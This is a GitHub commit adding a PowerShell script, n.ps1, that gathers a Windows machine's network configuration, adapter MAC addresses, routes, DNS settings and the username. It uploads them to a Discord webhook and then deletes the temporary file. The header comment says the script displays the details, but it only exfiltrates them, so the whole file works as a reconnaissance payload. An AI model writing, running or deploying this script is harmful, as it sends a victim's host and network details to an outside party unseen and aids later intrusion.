Create n.ps1

pull/215/head
Gavin Kramer 2023-12-15 13:46:00 -05:00 committed by GitHub
parent c360eb7ff0
commit 93c1394d42
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
# n.ps1
# This script will display the network configuration details on the console and also save them to a file in the same directory, then send to a discord webhook.
function Send-ToDiscord {
param (
[Parameter(Mandatory=$true)]
[string]$filePath,
[Parameter(Mandatory=$true)]
[string]$hookUrl
)
$message = @{
username = $env:USERNAME
content = "Uploading network configuration details"
}
# Send
Invoke-RestMethod -Uri $hookUrl -Method Post -ContentType 'Application/Json' -Body ($message | ConvertTo-Json)
# Upload
curl.exe -F "file1=@$filePath" $hookUrl
}
# Specify the Discord webhook URL here
$discordWebhookUrl = 'YOUR_DISCORD_WEBHOOK_URL'
# Gather network details
$networkDetails = Get-NetIPConfiguration | Out-String
$networkDetails += Get-DnsClient | Out-String
$networkDetails += Get-DnsClientServerAddress | Out-String
$networkDetails += Get-NetAdapter | Select-Object Name, Status, MacAddress, LinkSpeed | Out-String
$networkDetails += Get-NetRoute | Select-Object DestinationPrefix, NextHop, RouteMetric, ifIndex | Out-String
# Save to a temp file
$tempFile = [IO.Path]::GetTempFileName() + ".txt"
$networkDetails | Out-File $tempFile
# Send to Discord
Send-ToDiscord -filePath $tempFile -hookUrl $discordWebhookUrl
#Remove the temporary file
Remove-Item $tempFile